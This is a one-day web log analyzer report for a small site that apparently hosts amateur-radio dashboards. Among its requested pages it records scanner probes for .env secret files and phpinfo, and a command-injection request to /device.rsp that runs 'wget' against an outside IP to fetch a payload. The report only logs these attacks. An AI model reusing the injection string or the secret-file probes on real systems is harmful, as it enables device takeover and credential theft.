| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |
| General information |
| Information about analyzed log files |
| Generated: Sun Dec 21 17:00:02 2025
|
| Number of entries processed 366 |
| Number of invalid entries 0 |
| Processing time in seconds 0 |
| |
| Generated reports |
| Click on the report name you want to see |
| Number of reports generated 24 |
| Unique visitors in each day |
| Unique visitors in each month |
| Unique visitors from Google in each day |
| Unique visitors from Google in each month |
| Pageviews per visit |
| Weekday-Hour combined map |
| Month-Day combined map |
| Requested pages |
| Requested images and CSS |
| Referers |
| Referers by first time |
| Robots and web spiders |
| User agents |
| Operating Systems |
| Browsers |
| 404 Errors |
| Domains |
| Googled pages |
| Adsensed pages |
| Google Keyphrases |
| Google Keyphrases by first time |
| Google Human Language |
| Weekday distribution |
| Hours distribution |
| |
| Unique visitors in each day |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 102 |
| Different days in logfile 1 |
| 21/Dec/2025 | 102 (100.0%) |
|
| |
| Unique visitors in each month |
| Multiple hits with the same IP, user agent and access day, are considered a single visit |
| Number of unique visitors 102 |
| Different months in logfile 1 |
| Dec/2025 | 102 (100.0%) |
|
| |
| Unique visitors from Google in each day |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 102 |
| Number of unique visitors from google 0 |
| Different days in logfile 1 |
| 21/Dec/2025 | 0 (0.0%) |
|
| |
| Unique visitors from Google in each month |
| The red part of the bar expresses the percentage of visits originated from Google |
| Number of unique visitors 102 |
| Number of unique visitors from google 0 |
| Different months in logfile 1 |
| Dec/2025 | 0 (0.0%) |
|
| |
| Weekday-Hour combined map |
| Brighter means higher level of hits |
| Hour with max traffic starting at Su 10:00 with hits 14 |
| Hour with min traffic starting at Mo 00:00 with hits 0 |
| |
| Mo | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Tu | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| We | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Th | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Fr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sa | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Su | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 00 | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
|
| |
| Month-Day combined map |
| Brighter means higher level of hits |
| Day with max traffic is Dec 21 with hits 103 |
| Day with min traffic is Dec 21 with hits 103 |
| |
| Jan | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Feb | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Mar | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Apr | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| May | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jun | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Jul | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Aug | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Sep | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Oct | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Nov | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Dec | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| | 01 | 02 | 03 | 04 | 05 | 06 | 07 | 08 | 09 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
|
| |
| Pageviews per visit |
| Number of pages requested per visit |
| Only documents are counted (not images). Reported ranges: 7 |
| 1 | 55 (67.9%) |
|
| 2 | 16 (19.8%) |
|
| > 30 | 3 (3.7%) |
|
| 4 | 3 (3.7%) |
|
| 3 | 2 (2.5%) |
|
| 8 | 1 (1.2%) |
|
| 5 | 1 (1.2%) |
|
| |
| Requested pages |
| Page requests ordered by hits |
| Different pages requested 65 |
| 1) | 249 | / |
| 2) | 17 | none |
| 3) | 12 | /robots.txt |
| 4) | 5 | /.env |
| 5) | 4 | /SDK/webLanguage |
| 6) | 2 | /backend/.env |
| 7) | 2 | /?phpinfo=-1 |
| 8) | 2 | /admin/config.php |
| 9) | 2 | /api/.env |
| 10) | 2 | /login.html |
| 11) | 2 | /v1/models |
| 12) | 2 | /app_dev.php/_profiler/phpinfo |
| 13) | 2 | /.env.example |
| 14) | 2 | /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;wget http://45.153.34.205:64004/... |
| 15) | 2 | /aprsdash/credits.html |
| 16) | 2 | /admin/.env |
| 17) | 1 | /wspr/frames.php?getcall=EA5CHA |
| 18) | 1 | /wspr/frames.php?getcall=DB2OM |
| 19) | 1 | /wifi/index.html |
| 20) | 1 | /wspr/frames.php?getcall=M0PWX |
| 21) | 1 | /cgi-bin/luci/;stok=/locale |
| 22) | 1 | /phpMyAdmin-5.2.0-all-languages/index.php?lang=en |
| 23) | 1 | /developmentserver/metadatauploader |
| 24) | 1 | /ais/index.php |
| 25) | 1 | /wspr/frames.php?getcall=PA6F |
| 26) | 1 | /actuator/health |
| 27) | 1 | /sql/webadmin/index.php?lang=en |
| 28) | 1 | /index.htm |
| 29) | 1 | /geoserver/web/ |
| 30) | 1 | /wspr/frames.php?getcall=EA5CYA |
| |
| Requested images and CSS |
| Images and CSS requests ordered by hits |
| Different images and CSS requested 4 |
| 1) | 5 | /favicon.ico |
| 2) | 1 | /ais/node_modules/ol/ol.css |
| 3) | 1 | /page/style/index.css |
| 4) | 1 | /ais/icons/aislogo.jpg |
| |
| Referers |
| Referers ordered by visits (google excluded) |
| Different referers 2 |
| 1) | 102 | none |
| 2) | 1 | http://iz7boj.dyndns.org/loradash/aprsdash.php |
| |
| Referers by first time |
| Referers ordered by first time date, newer on top (referers from google excluded) |
| Different referers 2 |
| 1) | 21/Dec/2025 | http://iz7boj.dyndns.org/loradash/aprsdash.php |
| 2) | 21/Dec/2025 | none |
| |
| Robots and web spiders |
| Agents requesting robots.txt. MSIECrawler excluded. |
| Total number of different robots 3 |
| 1) | 2 | AliyunSecBot/Aliyun (AliyunSecBot@service.alibaba.com) |
| 2) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
| 3) | 1 | Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com) |
| |
| User agents |
| The entire user agent string ordered by visits |
| Different agents 64 |
| 1) | 19 | - |
| 2) | 5 | Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Ve... |
| 3) | 4 | AliyunSecBot/Aliyun (AliyunSecBot@service.alibaba.com) |
| 4) | 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85... |
| 5) | 4 | Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0 |
| 6) | 3 | Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks... |
| 7) | 3 | Mozilla/1.0 |
| 8) | 2 | Go-http-client/1.1 |
| 9) | 2 | Mozilla/5.0 zgrab/0.x |
| 10) | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.1... |
| 11) | 2 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Saf... |
| 12) | 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/570.36 (KHTML, like Gecko) Chrome/107.0.220 Safari/537.3... |
| 13) | 1 | Mozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 |
| 14) | 1 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; ... |
| 15) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0 |
| 16) | 1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2305.3 Safari/537... |
| 17) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.... |
| 18) | 1 | Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/47... |
| 19) | 1 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.54u1 [en] |
| 20) | 1 | Mozilla/5.0 (compatible; Googlebot/2.1; +https://www.google.com/bot.html) |
| 21) | 1 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.c... |
| 22) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Sa... |
| 23) | 1 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; ; NCLIENT50_AAPCDA5841E333) |
| 24) | 1 | python-requests/2.32.5 |
| 25) | 1 | Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0 |
| 26) | 1 | xfa1,nvdorz,nvd0rz |
| 27) | 1 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.... |
| 28) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Sa... |
| 29) | 1 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.16 Safar... |
| 30) | 1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61... |
| |
| Operating Systems |
| Operating Systems by visits |
| Different operating systems listed 4 |
| Unknown | 52 (50.5%) |
|
| Windows | 28 (27.2%) |
|
| Linux | 16 (15.5%) |
|
| Macintosh | 7 (6.8%) |
|
| |
| Browsers |
| Browsers used by visits |
| Different browsers listed 8 |
| Unknown | 45 (43.7%) |
|
| Safari | 38 (36.9%) |
|
| Firefox | 13 (12.6%) |
|
| Opera | 3 (2.9%) |
|
| Explorer unknown version | 1 (1.0%) |
|
| Other Mozilla based | 1 (1.0%) |
|
| GoogleBot | 1 (1.0%) |
|
| Explorer 7.x | 1 (1.0%) |
|
| |
| 404 Errors |
| Requests for missing documents |
| Different missing documents requested 23 |
| 1) | 4 | /SDK/webLanguage |
| 2) | 2 | /admin/config.php |
| 3) | 2 | /login.html |
| 4) | 2 | /v1/models |
| 5) | 2 | /app_dev.php/_profiler/phpinfo |
| 6) | 1 | /cgi-bin/luci/;stok=/locale |
| 7) | 1 | /phpMyAdmin-5.2.0-all-languages/index.php?lang=en |
| 8) | 1 | /sql/webadmin/index.php?lang=en |
| 9) | 1 | /index.htm |
| 10) | 1 | /geoserver/web/ |
| 11) | 1 | /admin/db/index.php?lang=en |
| 12) | 1 | /phpmyadmin3/index.php?lang=en |
| 13) | 1 | /SiteLoader |
| 14) | 1 | /download/file.ext |
| 15) | 1 | /administrator/phpmyadmin/index.php?lang=en |
| 16) | 1 | /page/style/index.css |
| 17) | 1 | /WuEL |
| 18) | 1 | /login.asp |
| 19) | 1 | /sitemap.xml |
| 20) | 1 | /actuator/gateway/routes |
| 21) | 1 | /json/ |
| 22) | 1 | /mPlayer |
| 23) | 1 | /db/webadmin/index.php?lang=en |
| |
| Domains |
| Top Level Domains sorted by visits |
| Total number of Top Level Domains 1 |
| numeric IP | 103 (100.0%) |
|
| |
| Googled pages |
| Pages accessed by the Google crawler, last access reported |
| Number of pages googled 1 |
| 1) | 21/Dec/2025 | / |
| |
| Adsensed pages |
| Pages accessed by the Adsense crawler, last access reported |
| Number of pages adsensed 0 |
| |
| Google Keyphrases |
| Keyphrases used in google searches ordered by visits |
| Total number of keyphrases 0 |
| |
| Google Keyphrases by first time |
| Keyphrases ordered by first time date, newer on top |
| Different referers 0 |
| |
| Google Human Language |
| The 'hl' field in the query string of google searches |
| Different human languages 0 |
| |
| Weekdays distribution |
| Percentage of hits in every day of the week |
| Mo | 0 (0.0%) |
|
| Tu | 0 (0.0%) |
|
| We | 0 (0.0%) |
|
| Th | 0 (0.0%) |
|
| Fr | 0 (0.0%) |
|
| Sa | 0 (0.0%) |
|
| Su | 103 (100.0%) |
|
| |
| Hours distribution |
| Percentage of hits in every hour of the day |
| 00 | 8 (7.8%) |
|
| 01 | 6 (5.8%) |
|
| 02 | 6 (5.8%) |
|
| 03 | 9 (8.7%) |
|
| 04 | 6 (5.8%) |
|
| 05 | 8 (7.8%) |
|
| 06 | 5 (4.9%) |
|
| 07 | 5 (4.9%) |
|
| 08 | 2 (1.9%) |
|
| 09 | 4 (3.9%) |
|
| 10 | 14 (13.6%) |
|
| 11 | 3 (2.9%) |
|
| 12 | 6 (5.8%) |
|
| 13 | 8 (7.8%) |
|
| 14 | 9 (8.7%) |
|
| 15 | 0 (0.0%) |
|
| 16 | 4 (3.9%) |
|
| 17 | 0 (0.0%) |
|
| 18 | 0 (0.0%) |
|
| 19 | 0 (0.0%) |
|
| 20 | 0 (0.0%) |
|
| 21 | 0 (0.0%) |
|
| 22 | 0 (0.0%) |
|
| 23 | 0 (0.0%) |
|
| |
| Statistics generated with VISITORS Web Log Analyzer version 0.7
|
| |